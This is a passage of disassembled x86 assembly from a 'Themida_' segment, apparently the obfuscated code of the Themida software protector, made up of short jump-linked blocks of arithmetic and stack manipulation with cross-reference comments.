jmp loc_5659E1
; ---------------------------------------------------------------------------
loc_55DF95: ; CODE XREF: Themida_:0056E5E9j
mov ebp, 3546799Eh
shr ebp, 8
add ebp, 47C26F30h
dec ebp
xor ebp, 47F7B5ACh
add ebx, ebp
pop ebp
push 5293h
mov [esp], ecx
mov ecx, 2
push eax
mov eax, 3A350E5Eh
sub ebx, eax
mov eax, [esp]
add esp, 4
sub ebx, ecx
push ebp
mov ebp, 2C0F2495h
jmp loc_5633C8
; ---------------------------------------------------------------------------
loc_55DFD8: ; CODE XREF: Themida_:0056E18Dj
mov [esp], edi
pop edx
pop edi
mov eax, edx
pop edx
push esi
jmp loc_56EA43
; ---------------------------------------------------------------------------
loc_55DFE6: ; CODE XREF: Themida_:0055D5F0j
mov [esp], ebp
mov ebp, esp
add ebp, 4
push eax
push 5B3Dh
mov [esp], ebx
jmp loc_56EF4A
; ---------------------------------------------------------------------------
loc_55DFFF: ; CODE XREF: Themida_:00561B52j
pop edi
push esi
mov esi, 0A16B9B5Ah
sub eax, 50272CFFh
jmp loc_56F735
; ---------------------------------------------------------------------------
loc_55E010: ; CODE XREF: Themida_:0056B014j
push 40DAh
mov [esp], ebx
jmp loc_5659CA
; ---------------------------------------------------------------------------
loc_55E01D: ; CODE XREF: Themida_:0056165Cj
add ebx, 0EC216115h
or eax, ebx
pop ebx
dec eax
not eax
add eax, 2DE77C7Bh
push eax
mov eax, 526A0B3Bh
not eax
shr eax, 6
dec eax
not eax
shr eax, 7
xor eax, 5F27E57Ah
add ecx, eax
pop eax
add ecx, eax
sub ecx, 5EDD762Ah
pop eax
push edi
mov edi, 2
jmp loc_564883
; ---------------------------------------------------------------------------
loc_55E05B: ; CODE XREF: Themida_:00566D96j
xor ecx, [esp]
jmp loc_56397D
; ---------------------------------------------------------------------------
loc_55E063: ; CODE XREF: Themida_:0055D3DCj
push eax
mov eax, esp
jmp loc_56E08E
; ---------------------------------------------------------------------------
loc_55E06B: ; CODE XREF: Themida_:00560C39j
sub eax, 644549E1h
mov ecx, [esp]
add esp, 4
xor eax, [esp]
xor [esp], eax
jmp loc_568020
; ---------------------------------------------------------------------------
loc_55E084: ; CODE XREF: Themida_:00568D5Cj
mov esi, 4
add ebp, esi
pop esi
jmp loc_5627C8
; ---------------------------------------------------------------------------
loc_55E091: ; CODE XREF: Themida_:0056F476j
add esp, 4
push dword ptr [esp]
jmp loc_56F203
; ---------------------------------------------------------------------------
loc_55E09F: ; CODE XREF: Themida_:00568C51j
mov eax, [esp]
jmp loc_564F85
; ---------------------------------------------------------------------------
loc_55E0A7: ; CODE XREF: Themida_:0055E560j
pop esi
mov eax, [esp]
push edi
mov edi, esp
add edi, 4
push ecx
mov ecx, 4
add edi, ecx
jmp loc_56F2BB
; ---------------------------------------------------------------------------
loc_55E0C1: ; CODE XREF: Themida_:0056FB9Aj
pop esp
jmp loc_56733D
; ---------------------------------------------------------------------------
loc_55E0C7: ; CODE XREF: Themida_:0055F08Ej
push ecx
mov ecx, 877478Ah
add ecx, 55003A38h
xor ecx, 5C2F95Fh
jmp loc_55E780
; ---------------------------------------------------------------------------
loc_55E0DE: ; CODE XREF: Themida_:0055DF29j
add ecx, 52BBFBCBh
jmp loc_5600CF
; ---------------------------------------------------------------------------
loc_55E0E9: ; CODE XREF: Themida_:005668D9j
mov [esp], eax
push dword ptr [esp+4]
pop eax
jmp loc_56A2B8
; ---------------------------------------------------------------------------
loc_55E0F6: ; CODE XREF: Themida_:005672FEj
mov [esp], dx
push eax
jmp loc_57237D
; ---------------------------------------------------------------------------
loc_55E100: ; CODE XREF: Themida_:0055DB40j
push ebx
jmp loc_56FF7D
; ---------------------------------------------------------------------------
loc_55E106: ; CODE XREF: Themida_:00570C18j
add [ebx], ebp
jmp loc_56DD5F
; ---------------------------------------------------------------------------
loc_55E10D: ; CODE XREF: Themida_:00561EB1j
sub esi, 4
xchg esi, [esp]
jmp loc_560BEC
; ---------------------------------------------------------------------------
loc_55E118: ; CODE XREF: Themida_:00564422j
pop esp
mov [esp], eax
jmp loc_561856
; ---------------------------------------------------------------------------
loc_55E121: ; CODE XREF: Themida_:00568603j
add bl, al
sub bl, 0EAh
push small 673Bh
mov [esp], cx
mov cl, 37h
push eax
mov ah, 58h
shr ah, 7
shr ah, 5
sub ah, 7Bh
add bl, ah
pop eax
jmp loc_566C1D
; ---------------------------------------------------------------------------
loc_55E144: ; CODE XREF: Themida_:00568DF5j
sub ecx, 4
jmp loc_566D07
; ---------------------------------------------------------------------------
loc_55E14C: ; CODE XREF: Themida_:005628FEj
mov ch, ah
mov eax, [esp]
add esp, 4
mov ebx, [esp]
add esp, 4
push small 1BB9h
jmp loc_57132B
; ---------------------------------------------------------------------------
loc_55E163: ; CODE XREF: Themida_:0057260Fj
cmp ecx, eax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55E16B: ; CODE XREF: Themida_:00565A6Aj
and edi, 172A1C77h
or edi, 14F94AC3h
jmp loc_560B2A
; ---------------------------------------------------------------------------
loc_55E17C: ; CODE XREF: Themida_:0055DC07j
mov eax, [esp]
add esp, 4
push ebx
mov ebx, 4
push ecx
push edi
mov edi, 2B550222h
xor edi, 44102FBh
xor edi, 63C31633h
jmp loc_56F38A
; ---------------------------------------------------------------------------
loc_55E1A0: ; CODE XREF: Themida_:005651F0j
push esp
pop ecx
push ebp
mov ebp, 7E4005Dh
add ebp, 1
push 0
sub [esp], ebp
pop ebp
sub ebp, 576C07DEh
neg ebp
add ebp, 0A0AFF7C8h
add ecx, ebp
mov ebp, [esp]
add esp, 4
push esi
mov esi, 4
add ecx, 3AF42534h
add ecx, esi
sub ecx, 3AF42534h
jmp loc_570297
; ---------------------------------------------------------------------------
loc_55E1E3: ; CODE XREF: Themida_:00566919j
xor edx, 7FA22909h
push ebx
mov ebx, 9E2F6B57h
jmp loc_563186
; ---------------------------------------------------------------------------
loc_55E1F4: ; CODE XREF: Themida_:0056BB3Fj
add [esp+4], eax
jmp loc_563E4A
; ---------------------------------------------------------------------------
loc_55E1FD: ; CODE XREF: Themida_:0056D1DCj
pop ebp
push ecx
mov ecx, 19460E84h
add ebx, ecx
pop ecx
add ebx, eax
jmp loc_55EB1C
; ---------------------------------------------------------------------------
loc_55E20E: ; CODE XREF: Themida_:00563B00j
not ecx
jmp loc_571A13
; ---------------------------------------------------------------------------
loc_55E215: ; CODE XREF: Themida_:00567926j
push edx
mov edx, 4
add ebp, edx
pop edx
jmp loc_55E5E5
; ---------------------------------------------------------------------------
loc_55E223: ; CODE XREF: Themida_:00565D5Dj
sub esp, 4
mov [esp], edx
push esp
jmp loc_56A334
; ---------------------------------------------------------------------------
loc_55E22F: ; CODE XREF: Themida_:00564539j
push 4541h
mov [esp], ecx
mov ecx, 4
add ebp, 3FC75C30h
add ebp, ecx
sub ebp, 3FC75C30h
jmp loc_56D103
; ---------------------------------------------------------------------------
loc_55E24F: ; CODE XREF: Themida_:0056AC2Dj
push dword ptr [esp]
jmp loc_56D352
; ---------------------------------------------------------------------------
loc_55E257: ; CODE XREF: Themida_:0055EA65j
mov edx, 2FE236FAh
neg edx
xor edx, 1806C46h
shr edx, 2
push 0
sub [esp], edx
pop edx
add edx, 0AFFE5DB0h
sub esi, edx
pop edx
add ebp, 5DDD3615h
sub ebp, 69554C55h
add ebp, esi
jmp loc_55D568
; ---------------------------------------------------------------------------
loc_55E28C: ; CODE XREF: Themida_:005709FBj
pop esi
pop eax
jmp loc_566B02
; ---------------------------------------------------------------------------
loc_55E293: ; CODE XREF: Themida_:00566B97j
add eax, esi
pop esi
add eax, ecx
sub eax, 110130AFh
add eax, 6DAA1315h
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_56D748
; ---------------------------------------------------------------------------
loc_55E2B1: ; CODE XREF: Themida_:0055E6B7j
shr ebp, 1
shl ebp, 1
push 978h
jmp loc_570A3C
; ---------------------------------------------------------------------------
loc_55E2BF: ; CODE XREF: Themida_:0056676Aj
mov ebx, esp
jmp loc_56347E
; ---------------------------------------------------------------------------
loc_55E2C6: ; CODE XREF: Themida_:0055FFBBj
add ebx, 66B1EE8h
sub ebx, 21CB0164h
jmp loc_5675DA
; ---------------------------------------------------------------------------
loc_55E2D7: ; CODE XREF: Themida_:0056A6D3j
mov si, 1
add bx, si
jmp loc_56BD84
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
push 2EAh
mov [esp], esi
mov esi, esp
add esi, 4
jmp loc_55F5E6
; ---------------------------------------------------------------------------
loc_55E2FB: ; CODE XREF: Themida_:00564F09j
mov [esp], eax
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55E303: ; CODE XREF: Themida_:0056609Ej
push edi
push 6EE8D0AFh
pop edi
xor esi, edi
pop edi
and edx, esi
pop esi
xor edx, 51F63B84h
push 0E76h
mov [esp], eax
mov eax, 683475BCh
push edi
mov edi, 10D8320Dh
xor eax, edi
pop edi
or edx, eax
pop eax
push esi
mov esi, 789901B4h
sub edx, esi
pop esi
shl edx, 4
jmp loc_5625C2
; ---------------------------------------------------------------------------
loc_55E340: ; CODE XREF: Themida_:0056BBE3j
mov edi, 3BFCCF22h
jmp loc_56D643
; ---------------------------------------------------------------------------
loc_55E34A: ; CODE XREF: Themida_:00572383j
mov [esp], ecx
mov cl, 0E6h
push eax
mov ah, 3Ch
xor cl, ah
pop eax
shr cl, 4
neg cl
add cl, 1
or cl, 0Fh
xor cl, 0CFh
mov al, cl
pop ecx
mov dl, al
pop eax
add al, 0FDh
add al, 0C3h
add al, dl
sub al, 0C3h
push ecx
push ebx
mov bl, 0Fh
sub bl, 0DBh
mov ch, bl
jmp loc_563C4C
; ---------------------------------------------------------------------------
loc_55E37F: ; CODE XREF: Themida_:0056EAB5j
mov edi, [esp]
add esp, 4
jmp loc_56FE08
; ---------------------------------------------------------------------------
loc_55E38A: ; CODE XREF: Themida_:0056474Aj
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push ecx
jmp loc_560B58
; ---------------------------------------------------------------------------
loc_55E39C: ; CODE XREF: Themida_:005606B7j
mov ax, [esp]
sub esp, 4
mov [esp], ebx
mov ebx, esp
add ebx, 4
push 5102h
mov [esp], edi
jmp loc_563655
; ---------------------------------------------------------------------------
loc_55E3BE: ; CODE XREF: Themida_:0055E7ABj
add esp, 4
jmp loc_5722B0
; ---------------------------------------------------------------------------
loc_55E3C6: ; CODE XREF: Themida_:0055F2E1j
mov ebx, [esp]
add esp, 4
xchg edx, [esp]
mov esp, [esp]
movzx cx, al
jmp loc_560647
; ---------------------------------------------------------------------------
loc_55E3DE: ; CODE XREF: Themida_:0055F1DAj
push edx
sub dword ptr [esp], 0DD44B4Bh
jmp loc_561279
; ---------------------------------------------------------------------------
loc_55E3EB: ; CODE XREF: Themida_:0056490Aj
push edi
mov edi, 1E68575Eh
jmp loc_560B18
; ---------------------------------------------------------------------------
loc_55E3F6: ; CODE XREF: Themida_:00571319j
add edx, esi
sub edx, 36133D5Dh
jmp loc_570C6B
; ---------------------------------------------------------------------------
loc_55E403: ; CODE XREF: Themida_:0055F5AAj
push 6884h
mov [esp], ebp
jmp loc_56A725
; ---------------------------------------------------------------------------
loc_55E410: ; CODE XREF: Themida_:005704AEj
xor ecx, ebp
pop ebp
push edi
mov edi, 6BA00268h
sub edi, 0FF389E20h
add edx, edi
jmp loc_56311A
; ---------------------------------------------------------------------------
loc_55E426: ; CODE XREF: Themida_:00570A20j
add al, ch
add al, 14h
add al, 1Eh
mov ecx, [esp]
add esp, 4
add bl, 0E5h
push 5EF7h
mov [esp], ecx
mov cl, 30h
inc cl
add cl, 23h
sub cl, 7
sub cl, 94h
jmp loc_565F61
; ---------------------------------------------------------------------------
loc_55E44F: ; CODE XREF: Themida_:00566320j
add esp, 4
push esi
jmp loc_563E8B
; ---------------------------------------------------------------------------
loc_55E45B: ; CODE XREF: Themida_:0056D019j
add eax, 660167Fh
push dword ptr [esp]
pop edi
add esp, 4
jmp loc_569C68
; ---------------------------------------------------------------------------
loc_55E46C: ; CODE XREF: Themida_:00564DE8j
push eax
mov al, 8Dh
dec al
inc al
dec al
sub al, 65h
sub bl, al
mov eax, [esp]
add esp, 4
sub bl, 3Ah
add bl, ch
add bl, 3Ah
push eax
mov al, 0C7h
inc al
inc al
push ebx
jmp loc_569CE8
; ---------------------------------------------------------------------------
loc_55E494: ; CODE XREF: Themida_:0056F99Ej
mov ebp, eax
jmp loc_569BC6
; ---------------------------------------------------------------------------
loc_55E49B: ; CODE XREF: Themida_:0056A4D0j
sub eax, 4
push eax
jmp loc_560D58
; ---------------------------------------------------------------------------
loc_55E4A6: ; CODE XREF: Themida_:00564EE1j
add esp, 4
add eax, 20B85B6Fh
add eax, ebx
sub esp, 4
mov [esp], edx
mov edx, 20B85B6Fh
sub eax, edx
pop edx
mov ebx, [esp]
add esp, 4
push ebx
mov ebx, 4
add eax, ebx
pop ebx
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
pop eax
jmp loc_56F27C
; ---------------------------------------------------------------------------
loc_55E4E3: ; CODE XREF: Themida_:00562F31j
mov dx, [esp]
sub esp, 4
mov [esp], edi
push esp
jmp loc_55F8E2
; ---------------------------------------------------------------------------
loc_55E4F3: ; CODE XREF: Themida_:00561EEDj
push esp
pop ecx
add ecx, 4
push ebp
jmp loc_56E9A1
; ---------------------------------------------------------------------------
loc_55E501: ; CODE XREF: Themida_:0056A0F7j
push 0C00h
mov [esp], ecx
mov ecx, esp
push eax
mov eax, 4
add ecx, eax
jmp loc_56E445
; ---------------------------------------------------------------------------
loc_55E518: ; CODE XREF: Themida_:00564440j
push edi
inc dword ptr [esp]
pop edi
shr edi, 3
jmp loc_55FFF4
; ---------------------------------------------------------------------------
loc_55E525: ; CODE XREF: Themida_:005698DEj
mov eax, 51A80009h
xor [esp+4], eax
pop eax
jmp loc_56C0DE
; ---------------------------------------------------------------------------
loc_55E534: ; CODE XREF: Themida_:0056A00Bj
shl ecx, 5
or ecx, 45AD53E2h
add ecx, 0B3B364Bh
push ecx
xor dword ptr [esp], 524774FBh
push dword ptr [esp]
pop esi
add esp, 4
xor esi, 524774FBh
pop ecx
xor [esp+4], esi
jmp loc_55E0A7
; ---------------------------------------------------------------------------
loc_55E565: ; CODE XREF: Themida_:0056CD3Dj
pop esp
xor eax, ebp
mov ebp, [esp]
push eax
jmp loc_564288
; ---------------------------------------------------------------------------
loc_55E571: ; CODE XREF: Themida_:00564022j
mov esi, 3D050E1h
not esi
jmp loc_56C97B
; ---------------------------------------------------------------------------
loc_55E57D: ; CODE XREF: Themida_:0056F983j
pop esp
push esi
mov esi, 4
add ebp, esi
pop esi
xchg ebp, [esp]
pop esp
jmp loc_5639ED
; ---------------------------------------------------------------------------
loc_55E590: ; CODE XREF: Themida_:0056BDA8j
inc esi
add esi, 0E15FFD81h
push ebp
mov ebp, 7D08307Fh
or ebp, 735309B0h
sub ebp, 62862C97h
xor ebp, 12DF1535h
add edi, ebp
pop ebp
add edi, esi
sub edi, 0E0A185Dh
mov esi, [esp]
add esp, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
jmp loc_571CD1
; ---------------------------------------------------------------------------
loc_55E5D2: ; CODE XREF: Themida_:00565DB5j
add ch, 48h
add dl, ch
pop ecx
push small 5CF4h
mov [esp], dx
jmp loc_56CA3C
; ---------------------------------------------------------------------------
loc_55E5E5: ; CODE XREF: Themida_:0055E21Ej
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
push ebx
jmp loc_56B5E9
; ---------------------------------------------------------------------------
loc_55E5F7: ; CODE XREF: Themida_:0056C58Bj
mov edi, eax
pop eax
add ecx, edi
pop edi
jmp loc_568782
; ---------------------------------------------------------------------------
loc_55E602: ; CODE XREF: Themida_:0056881Cj
mov ecx, 60982925h
jmp loc_56EB5F
; ---------------------------------------------------------------------------
loc_55E60C: ; CODE XREF: Themida_:005729E7j
sub esi, 0C152459h
push esi
not dword ptr [esp]
pop esi
jmp loc_560A9E
; ---------------------------------------------------------------------------
loc_55E61C: ; CODE XREF: Themida_:0056F33Bj
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_55D5D4
; ---------------------------------------------------------------------------
loc_55E62F: ; CODE XREF: Themida_:0055E6A7j
xor edx, [esp]
xor [esp], edx
pop ebp
shl ebp, 3
push esi
mov esi, 2FF95B9Dh
shl esi, 3
shr esi, 3
sub esi, 0D58DC1D1h
sub ebp, esi
mov esi, [esp]
add esp, 4
add ecx, 78B11505h
sub ecx, 3B104F41h
add ecx, ebp
add ecx, 3B104F41h
sub ecx, 78B11505h
pop ebp
push edi
jmp loc_568644
; ---------------------------------------------------------------------------
loc_55E674: ; CODE XREF: Themida_:00562379j
sub ecx, 6995755Eh
jmp loc_567EB0
; ---------------------------------------------------------------------------
loc_55E67F: ; CODE XREF: Themida_:00569F19j
dec esi
and esi, 42781F24h
add esi, 27044C55h
jmp loc_56B98E
; ---------------------------------------------------------------------------
loc_55E691: ; CODE XREF: Themida_:00562ED3j
push 62B3h
mov [esp], edx
push esp
push dword ptr [esp]
jmp loc_563114
; ---------------------------------------------------------------------------
loc_55E6A2: ; CODE XREF: Themida_:0056FEBBj
not edx
xor [esp], edx
jmp loc_55E62F
; ---------------------------------------------------------------------------
loc_55E6AC: ; CODE XREF: Themida_:005691DEj
mov ebp, 3B1F2B82h
xor ebp, 1EAA1DA7h
jmp loc_55E2B1
; ---------------------------------------------------------------------------
loc_55E6BC: ; CODE XREF: Themida_:005629BCj
push edx
jmp loc_5629DC
; ---------------------------------------------------------------------------
loc_55E6C2: ; CODE XREF: Themida_:0056028Fj
mov esi, 2A43688h
jmp loc_569622
; ---------------------------------------------------------------------------
loc_55E6CC: ; CODE XREF: Themida_:00570016j
mov ebp, [esp]
add esp, 4
push ecx
mov ecx, 7A9766F0h
inc ecx
dec ecx
jmp loc_56E151
; ---------------------------------------------------------------------------
loc_55E6E2: ; CODE XREF: Themida_:00565234j
pop eax
sub [esp+4], ecx
pop ecx
pop ecx
push ebp
mov ebp, 77F61EF7h
add ecx, ebp
jmp loc_56BBCE
; ---------------------------------------------------------------------------
loc_55E6F6: ; CODE XREF: Themida_:005604BAj
pop ecx
add eax, 4
jmp loc_56DD2C
; ---------------------------------------------------------------------------
loc_55E6FF: ; CODE XREF: Themida_:00566594j
add ebp, 4
xchg ebp, [esp]
pop esp
add esp, 4
add ebx, 79C94C7Ah
sub ebx, eax
push ecx
mov ecx, 79C94C7Ah
sub ebx, ecx
pop ecx
push ecx
mov ecx, 40883F8Dh
add ebx, ecx
pop ecx
jmp loc_5676A2
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_55D2ED
; ---------------------------------------------------------------------------
loc_55E73E: ; CODE XREF: Themida_:00560B13j
push 1AEDh
mov [esp], ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xor ecx, [esp]
xor [esp], ecx
jmp loc_55D334
; ---------------------------------------------------------------------------
loc_55E75F: ; CODE XREF: Themida_:0056E1F8j
add eax, 4BC81C63h
sub eax, 58E4748Ch
add eax, ebp
add eax, 58E4748Ch
sub eax, 4BC81C63h
pop ebp
push 5BF3h
jmp loc_56A60D
; ---------------------------------------------------------------------------
loc_55E780: ; CODE XREF: Themida_:0055E0D9j
sub eax, ecx
pop ecx
pop edx
jmp loc_562C43
; ---------------------------------------------------------------------------
loc_55E789: ; CODE XREF: Themida_:00564A1Fj
push 20D0h
push esp
pop dword ptr [esp]
jmp loc_561A57
; ---------------------------------------------------------------------------
loc_55E797: ; CODE XREF: Themida_:00562AA8j
mov esi, 584E1851h
jmp loc_5701DE
; ---------------------------------------------------------------------------
loc_55E7A1: ; CODE XREF: Themida_:00564B54j
mov edx, 2
add edi, edx
mov edx, [esp]
jmp loc_55E3BE
; ---------------------------------------------------------------------------
loc_55E7B0: ; CODE XREF: Themida_:00569421j
mov edi, 679D1CDFh
mov esi, edi
pop edi
push 11CDh
mov [esp], esi
jmp loc_565FB8
; ---------------------------------------------------------------------------
loc_55E7C5: ; CODE XREF: Themida_:00561C9Bj
add esi, 4
jmp loc_562F51
; ---------------------------------------------------------------------------
loc_55E7D0: ; CODE XREF: Themida_:00565EB0j
xchg al, [esp]
pop edx
jmp loc_56472E
; ---------------------------------------------------------------------------
loc_55E7D9: ; CODE XREF: Themida_:0055F8DDj
pop ebx
add edi, 284502E7h
add ebx, edi
jmp loc_565F00
; ---------------------------------------------------------------------------
loc_55E7E7: ; CODE XREF: Themida_:00561BB1j
add esp, 4
pop ecx
jmp loc_566969
; ---------------------------------------------------------------------------
loc_55E7F3: ; CODE XREF: Themida_:0057142Cj
add esp, 4
jmp loc_5698AB
; ---------------------------------------------------------------------------
push ebp
jmp loc_5652D8
; ---------------------------------------------------------------------------
sub esp, 4
mov [esp], esp
push edi
push esp
pop edi
add edi, 4
sub edi, 4
jmp loc_570F32
; ---------------------------------------------------------------------------
loc_55E81E: ; CODE XREF: Themida_:00571F1Ej
mov [esp], edi
sub dword ptr [esp], 73140975h
jmp loc_560375
; ---------------------------------------------------------------------------
loc_55E82D: ; CODE XREF: Themida_:00564E3Ej
or ebx, 0DA21705h
push ecx
push edi
mov edi, 2F950825h
mov ecx, edi
mov edi, [esp]
add esp, 4
shl ecx, 5
add ecx, 72C92739h
shr ecx, 7
inc ecx
sub ecx, 0E8C5B0B0h
jmp loc_560B02
; ---------------------------------------------------------------------------
loc_55E85A: ; CODE XREF: Themida_:00560243j
neg ebp
dec ebp
shr ebp, 6
jmp loc_56D13D
; ---------------------------------------------------------------------------
loc_55E865: ; CODE XREF: Themida_:00566504j
mov ax, [esp]
sub esp, 4
mov [esp], ebp
push esp
pop ebp
add ebp, 4
sub esp, 4
mov [esp], eax
push edx
sub esp, 4
mov [esp], esp
jmp loc_56214F
; ---------------------------------------------------------------------------
loc_55E889: ; CODE XREF: Themida_:00565E03j
sub eax, 5BFC0DE2h
add eax, ebp
jmp loc_56F137
; ---------------------------------------------------------------------------
loc_55E895: ; CODE XREF: Themida_:0055DD4Dj
xchg esi, [esp]
pop esp
jmp loc_56C56F
; ---------------------------------------------------------------------------
loc_55E89E: ; CODE XREF: Themida_:0056BCD0j
mov edi, ebx
pop ebx
jmp loc_561B50
; ---------------------------------------------------------------------------
xor [esp], bl
xor bl, [esp]
xor [esp], bl
push ax
jmp loc_568F53
; ---------------------------------------------------------------------------
loc_55E8B6: ; CODE XREF: Themida_:00568120j
push edi
mov edi, 737A4263h
add ebx, edi
jmp loc_568280
; ---------------------------------------------------------------------------
loc_55E8C3: ; CODE XREF: Themida_:00566FD9j
mov dl, 38h
xor ch, dl
pop dx
xor al, ch
mov ecx, [esp]
jmp loc_56EA35
; ---------------------------------------------------------------------------
loc_55E8D3: ; CODE XREF: Themida_:0056D9FAj
sub dl, 0B8h
sub dl, ch
add dl, 0B8h
mov ecx, [esp]
add esp, 4
jmp loc_56C8EB
; ---------------------------------------------------------------------------
loc_55E8E6: ; CODE XREF: Themida_:0055ECECj
pop edx
push esi
jmp loc_55D3E1
; ---------------------------------------------------------------------------
loc_55E8ED: ; CODE XREF: Themida_:0056C23Ej
add edi, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
xchg edi, [esp]
mov esp, [esp]
jmp loc_565BD9
; ---------------------------------------------------------------------------
loc_55E909: ; CODE XREF: Themida_:00560E64j
mov ebp, esp
add ebp, 4
jmp loc_5630A1
; ---------------------------------------------------------------------------
loc_55E916: ; CODE XREF: Themida_:0056B2B5j
xor [esp], esi
xor esi, [esp]
jmp loc_568171
; ---------------------------------------------------------------------------
loc_55E921: ; CODE XREF: Themida_:0055FA6Fj
push ebx
mov ebx, 627745B2h
push ecx
mov ecx, 7EAB3F43h
not ecx
add ecx, 4A805860h
inc ecx
push ebp
mov ebp, 0AEA9F973h
sub ecx, ebp
jmp loc_57131E
; ---------------------------------------------------------------------------
loc_55E943: ; CODE XREF: Themida_:00568A61j
push ecx
mov ecx, 78565D12h
sub ecx, 2E4212BAh
not ecx
shl ecx, 8
push 4072h
jmp loc_568CA4
; ---------------------------------------------------------------------------
loc_55E95E: ; CODE XREF: Themida_:0056CE59j
sub al, bl
push edx
push ebx
jmp loc_566DFE
; ---------------------------------------------------------------------------
loc_55E967: ; CODE XREF: Themida_:005652A9j
push ebp
push 1
jmp loc_56017F
; ---------------------------------------------------------------------------
loc_55E972: ; CODE XREF: Themida_:0057144Fj
pop edi
jmp loc_561C88
; ---------------------------------------------------------------------------
loc_55E978: ; CODE XREF: Themida_:0056613Aj
sub esp, 4
mov [esp], edx
push eax
jmp loc_56F698
; ---------------------------------------------------------------------------
loc_55E984: ; CODE XREF: Themida_:00562EBFj
pop edi
push dword ptr [esp]
jmp loc_566A86
; ---------------------------------------------------------------------------
loc_55E98D: ; CODE XREF: Themida_:0056B526j
mov esp, [esp]
push 1FF4h
mov [esp], ebp
mov ebp, 491E1759h
sub esi, ebp
pop ebp
sub esp, 4
mov [esp], ebx
mov ebx, 5E2042A7h
inc ebx
add ebx, 1189F504h
jmp loc_563490
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
push ebx
sub esp, 4
mov [esp], esp
jmp loc_563851
; ---------------------------------------------------------------------------
loc_55E9C9: ; CODE XREF: Themida_:00572164j
mov ebp, 20C70C84h
xor ebp, 2E44608Eh
not ebp
jmp loc_56F01F
; ---------------------------------------------------------------------------
loc_55E9DB: ; CODE XREF: Themida_:00563218j
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
xor ebx, esi
xor esi, ebx
xor ebx, esi
not esi
jmp loc_56EDFD
; ---------------------------------------------------------------------------
loc_55E9F8: ; CODE XREF: Themida_:0056F559j
mov [esp], ecx
push dword ptr [esp+4]
mov ecx, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
add al, bl
sub al, 66h
push 18E8h
mov [esp], ebx
sub esp, 4
mov [esp], eax
mov ah, 7Eh
push eax
mov al, 5Ch
add al, 0CBh
jmp loc_56C579
; ---------------------------------------------------------------------------
loc_55EA2D: ; CODE XREF: Themida_:00570F2Dj
add ebp, esi
mov esi, [esp]
push ecx
mov ecx, esp
jmp loc_56B816
; ---------------------------------------------------------------------------
loc_55EA3A: ; CODE XREF: Themida_:00562E2Aj
push esi
mov esi, ecx
push esi
pop ebp
pop esi
mov eax, ebp
push dword ptr [esp]
pop ebp
jmp loc_56C773
; ---------------------------------------------------------------------------
loc_55EA4B: ; CODE XREF: Themida_:00570F18j
shr edx, 7
dec edx
shl edx, 6
or edx, 123B162Bh
xor edx, 3FFAE436h
add ebp, edx
pop edx
sub esi, ebp
pop ebp
push edx
jmp loc_55E257
; ---------------------------------------------------------------------------
loc_55EA6A: ; CODE XREF: Themida_:00567586j
mov [esp], eax
mov eax, 24h
add eax, edi
jmp loc_56C6FA
; ---------------------------------------------------------------------------
loc_55EA79: ; CODE XREF: Themida_:00560EA6j
mov esp, [esp]
imul ecx, eax
jmp loc_56BA74
; ---------------------------------------------------------------------------
loc_55EA84: ; CODE XREF: Themida_:0055ED85j
push 114Ah
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
push dword ptr [esp]
pop ebp
add esp, 4
xor eax, ebp
jmp loc_563305
; ---------------------------------------------------------------------------
loc_55EAA5: ; CODE XREF: Themida_:0055DE94j
mov ecx, 34B012DAh
neg ecx
add ecx, 0F032618h
jmp loc_560A28
; ---------------------------------------------------------------------------
loc_55EAB7: ; CODE XREF: Themida_:005671E4j
mov al, 61h
shl al, 2
jmp loc_562D9D
; ---------------------------------------------------------------------------
loc_55EAC1: ; CODE XREF: Themida_:0056173Aj
sub ecx, 2D2E2E99h
sub ecx, 64031E89h
sub ecx, 55123B0h
add ecx, edx
add ecx, 55123B0h
jmp loc_56DD0B
; ---------------------------------------------------------------------------
loc_55EAE0: ; CODE XREF: Themida_:0055D305j
push ecx
mov ecx, esp
jmp loc_570B33
; ---------------------------------------------------------------------------
loc_55EAE8: ; CODE XREF: Themida_:00571660j
add esp, 4
push edi
mov edi, 288F7E3Ch
add edi, 65320A0Fh
not edi
jmp loc_5621C3
; ---------------------------------------------------------------------------
loc_55EAFE: ; CODE XREF: Themida_:00569A8Aj
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
jmp loc_56AF8A
; ---------------------------------------------------------------------------
loc_55EB12: ; CODE XREF: Themida_:0055F3D8j
mov eax, 5AB7760Dh
jmp loc_56585E
; ---------------------------------------------------------------------------
loc_55EB1C: ; CODE XREF: Themida_:0055E209j
sub ebx, 19460E84h
mov eax, [esp]
add esp, 4
jmp loc_56F6E3
; ---------------------------------------------------------------------------
loc_55EB2D: ; CODE XREF: Themida_:0056F857j
pop ebp
sub ebp, 267F5EA4h
add ebp, esi
add ebp, 267F5EA4h
pop esi
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_57260E
; ---------------------------------------------------------------------------
loc_55EB4B: ; CODE XREF: Themida_:0055F46Aj
mov cl, 28h
mov dh, cl
pop ecx
mov ah, 0CDh
jmp loc_567BC7
; ---------------------------------------------------------------------------
loc_55EB57: ; CODE XREF: Themida_:0056FBE3j
pop ebx
neg ebx
xor ebx, 8484ADBCh
jmp loc_56617D
; ---------------------------------------------------------------------------
loc_55EB65: ; CODE XREF: Themida_:00565BB7j
add ebx, 6FE134F2h
push dword ptr [ebx]
jmp loc_568B40
; ---------------------------------------------------------------------------
loc_55EB72: ; CODE XREF: Themida_:005711CFj
add ecx, 4
xchg ecx, [esp]
pop esp
shr ebx, 2
push ebp
mov ebp, esp
add ebp, 4
jmp loc_570CAC
; ---------------------------------------------------------------------------
